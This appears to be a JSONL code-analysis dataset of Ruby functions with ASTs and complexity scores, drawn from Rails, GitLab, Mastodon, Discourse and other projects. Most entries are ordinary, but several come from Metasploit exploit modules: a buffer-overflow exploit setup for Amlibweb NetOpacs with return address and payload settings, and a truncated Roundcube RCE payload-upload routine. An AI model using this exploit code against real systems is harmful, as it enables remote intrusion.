{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/amlibweb_webquerydll_app.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Amlib's Amlibweb\n          Library Management System (NetOpacs). The webquery.dll\n          API is available through IIS requests. By specifying\n          an overly long string to the 'app' parameter, SeH can be\n          reliably overwritten allowing for arbitrary remote code execution.\n          In addition, it is possible to overwrite EIP by specifying\n          an arbitrary parameter name with an '=' terminator.\n        },\n        'Author' => [ 'aushack' ],\n        'Arch' => [ ARCH_X86 ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2010-20112' ],\n          [ 'OSVDB', '66814' ],\n          [ 'BID', '42293' ],\n          [ 'URL', 'http://www.aushack.com/advisories/' ],\n        ],\n        'Privileged'\t=> true,\n        'DefaultOptions' => {\n          'EXITFUNC'\t=> 'thread',\n          'AllowWin32SEH' => true\n        },\n        'Payload' => {\n          # 'Space'\t\t\t=> 600,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x20%=?\\x2f\\x5c\\x3a\\x3d\\@;!$\",\n          'EncoderType'\t=> Msf::Encoder::Type::AlphanumMixed,\n          'DisableNops' => true,\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => ['win'],\n        'Targets' => [\n          # aushack - Tested OK 20100803 w2k IIS5\n          [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5\n          # [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.\n        ],\n        'DisclosureDate' => '2010-08-03', # 0day\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80),\n      ]\n    )\n  end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Amlibweb NetOpacs webquery.dll Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in Amlib's Amlibweb\\n\"]},{\"type\":\"str\",\"children\":[\"          Library Management System (NetOpacs). The webquery.dll\\n\"]},{\"type\":\"str\",\"children\":[\"          API is available through IIS requests. By specifying\\n\"]},{\"type\":\"str\",\"children\":[\"          an overly long string to the 'app' parameter, SeH can be\\n\"]},{\"type\":\"str\",\"children\":[\"          reliably overwritten allowing for arbitrary remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"          In addition, it is possible to overwrite EIP by specifying\\n\"]},{\"type\":\"str\",\"children\":[\"          an arbitrary parameter name with an '=' terminator.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-20112\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"66814\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"42293\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.aushack.com/advisories/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AllowWin32SEH\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r %=?/\\\\:=@;!$\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderType\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Encoder\"]},\"Type\"]},\"AlphanumMixed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro All - English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963076292]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-08-03\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]}]}]}]}]}","id":"5685ed24-0000-4055-96c7-6f0734b8114f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_search_results.rb","start_line":154,"raw_source":"def find_commits_by_message(query, limit:)\n      project.repository.find_commits_by_message(query, repository_project_ref, nil, limit)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_commits_by_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwarg\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"find_commits_by_message\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[null,\"repository_project_ref\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}","id":"d314a2b2-be5e-4b8c-9d70-36fbefd40488"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":337,"raw_source":"def self.default_provisioning_entry_point(service_type)\n    if service_type == 'atomic'\n      '/Service/Provisioning/StateMachines/ServiceProvision_Template/CatalogItemInitialization'\n    else\n      '/Service/Provisioning/StateMachines/ServiceProvision_Template/CatalogBundleInitialization'\n    end\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_provisioning_entry_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"atomic\"]}]},{\"type\":\"str\",\"children\":[\"/Service/Provisioning/StateMachines/ServiceProvision_Template/CatalogItemInitialization\"]},{\"type\":\"str\",\"children\":[\"/Service/Provisioning/StateMachines/ServiceProvision_Template/CatalogBundleInitialization\"]}]}]}","id":"5c958d54-8550-4d00-afc7-12423dc475c9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/structured_event_subscriber.rb","start_line":76,"raw_source":"def start(name, id, payload)\n        ActiveSupport.event_reporter.debug(\"action_view.render_start\",\n          is_layout: name == \"render_layout.action_view\",\n          identifier: from_rails_root(payload[:identifier]),\n          layout: from_rails_root(payload[:layout]),\n        )\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"event_reporter\"]},\"debug\",{\"type\":\"str\",\"children\":[\"action_view.render_start\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_layout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"render_layout.action_view\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[null,\"from_rails_root\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"send\",\"children\":[null,\"from_rails_root\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"layout\"]}]}]}]}]}]}]}","id":"06661f20-4720-4e80-8dac-bdc7c541b75b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/mysql.rb","start_line":81,"raw_source":"def prepare_update_statement(o)\n          if o.offset || has_group_by_and_having?(o) ||\n            has_join_sources?(o) && has_limit_or_offset_or_orders?(o)\n            super\n          else\n            o\n          end\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_update_statement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"offset\"]},{\"type\":\"send\",\"children\":[null,\"has_group_by_and_having?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_join_sources?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[null,\"has_limit_or_offset_or_orders?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"o\"]}]}]}","id":"4c06af45-78f5-4146-8937-4ca7d0bd9d8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/update_service.rb","start_line":12,"raw_source":"def execute\n      reject_parent_id!\n      remove_unallowed_params\n\n      before_assignment_hook(group, params)\n\n      if renaming_group_with_container_registry_images?\n        group.errors.add(:base, container_images_error)\n        return false\n      end\n\n      return false unless valid_visibility_level_change?(group, group.visibility_attribute_value(params))\n      return false unless valid_share_with_group_lock_change?\n      return false unless valid_path_change?\n      return false unless update_shared_runners\n\n      handle_changes\n      handle_namespace_settings\n      group.assign_attributes(params.except(*non_assignable_group_params))\n\n      return false if group.errors.present?\n\n      begin\n        success = group.save\n\n        after_update if success\n\n        success\n      rescue Gitlab::UpdatePathError => e\n        group.errors.add(:base, e.message)\n\n        false\n      end\n    end","complexity_score":52.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reject_parent_id!\"]},{\"type\":\"send\",\"children\":[null,\"remove_unallowed_params\"]},{\"type\":\"send\",\"children\":[null,\"before_assignment_hook\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"renaming_group_with_container_registry_images?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"container_images_error\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_visibility_level_change?\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"visibility_attribute_value\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_share_with_group_lock_change?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_path_change?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_shared_runners\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_changes\"]},{\"type\":\"send\",\"children\":[null,\"handle_namespace_settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_assignable_group_params\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"errors\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"save\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"after_update\"]},null]},{\"type\":\"lvar\",\"children\":[\"success\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UpdatePathError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}]}]}","id":"10133848-f7a7-4299-a054-58bd23604df0"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/config/boot.rb","start_line":37,"raw_source":"def run\n      load_initializer\n      Rails::Initializer.run(:set_load_path)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_initializer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Initializer\"]},\"run\",{\"type\":\"sym\",\"children\":[\"set_load_path\"]}]}]}]}","id":"c560c145-b718-43fa-8aa5-367e9e99b3d9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/webfinger.rb","start_line":85,"raw_source":"def body_from_host_meta\n    host_meta_request.perform do |res|\n      raise Webfinger::Error, \"Request for #{@uri} returned HTTP #{res.code}\" unless res.code == 200\n\n      body_from_webfinger(url_from_template(res.body_with_limit), use_fallback: false)\n    end\n  end","complexity_score":14.35,"ast_json":"{\"type\":\"def\",\"children\":[\"body_from_host_meta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_meta_request\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Webfinger\"]},\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uri\"]}]},{\"type\":\"str\",\"children\":[\" returned HTTP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"body_from_webfinger\",{\"type\":\"send\",\"children\":[null,\"url_from_template\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body_with_limit\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_fallback\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"f9e1fcea-7cc3-4d51-8520-935f405d66a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/json_schema_validator.rb","start_line":98,"raw_source":"def schema_path\n    Rails.root.join(*base_directory, filename_with_extension)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"schema_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_directory\"]}]},{\"type\":\"send\",\"children\":[null,\"filename_with_extension\"]}]}]}","id":"5246b915-ce1a-4f18-9b6d-78487f1418b6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":97,"raw_source":"def test_raises_an_error_when_called_with_protected_environment\n        protected_environments = ActiveRecord::Base.protected_environments\n        current_env            = ActiveRecord::Base.connection_pool.migration_context.current_environment\n\n        ActiveRecord::Base.connection_pool.internal_metadata[:environment] = current_env\n\n        assert_called_on_instance_of(\n          ActiveRecord::MigrationContext,\n          :current_version,\n          times: 6,\n          returns: 1\n        ) do\n          assert_not_includes protected_environments, current_env\n          # Assert no error\n          ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!(\"arunit\")\n\n          ActiveRecord::Base.protected_environments = [current_env]\n\n          assert_raise(ActiveRecord::ProtectedEnvironmentError) do\n            ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!(\"arunit\")\n          end\n        end\n      ensure\n        ActiveRecord::Base.protected_environments = protected_environments\n      end","complexity_score":22.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_an_error_when_called_with_protected_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"protected_environments\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"protected_environments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_env\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"migration_context\"]},\"current_environment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"internal_metadata\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"lvar\",\"children\":[\"current_env\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_on_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"MigrationContext\"]},{\"type\":\"sym\",\"children\":[\"current_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"times\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returns\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"protected_environments\"]},{\"type\":\"lvar\",\"children\":[\"current_env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"check_protected_environments!\",{\"type\":\"str\",\"children\":[\"arunit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"protected_environments=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_env\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ProtectedEnvironmentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"check_protected_environments!\",{\"type\":\"str\",\"children\":[\"arunit\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"protected_environments=\",{\"type\":\"lvar\",\"children\":[\"protected_environments\"]}]}]}]}","id":"3e46b3e2-c364-4bc0-baea-82dc48d481af"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mailers/base_mailer.rb","start_line":167,"raw_source":"def with_subject_interpolations\n    mail(subject: default_i18n_subject(rapper_or_impersonator: \"Slim Shady\"), body: \"\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_subject_interpolations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"default_i18n_subject\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rapper_or_impersonator\"]},{\"type\":\"str\",\"children\":[\"Slim Shady\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"5fe2a746-81aa-4a12-81b8-1adbeafdc093"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/post_timing_spec.rb","start_line":22,"raw_source":"def topic_user(user_id, last_read_post_number)\n      TopicUser.create!(\n        topic_id: topic_id,\n        user_id: user_id,\n        last_read_post_number: last_read_post_number,\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"last_read_post_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"lvar\",\"children\":[\"last_read_post_number\"]}]}]}]}]}","id":"167c9b4d-eede-4de1-bbb3-7d571e2442d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/persistence/cron.rb","start_line":97,"raw_source":"def target_user\n    return datastore['USER'] unless datastore['USER'].blank?\n\n    whoami\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"target_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USER\"]}]},\"blank?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USER\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"whoami\"]}]}]}","id":"c0036f9d-428e-42c4-b249-b929b8dd75e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb","start_line":215,"raw_source":"def upload_payload(payload_filename)\n    print_status('Uploading malicious payload...')\n\n    # 1x1 transparent pixel image\n    png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')\n    boundary = Rex::Text.rand_text_alphanumeric(8)\n\n    data = ''\n    data << \"--#{boundary}\\r\\n\"\n    data << \"Content-Disposition: form-data; name=\\\"_file[]\\\"; filename=\\\"#{payload_filename}\\\"\\r\\n\"\n    data << \"Content-Type: image/png\\r\\n\\r\\n\"\n    data << png_data\n    data << \"\\r\\n--#{boundary}--\\r\\n\"\n\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 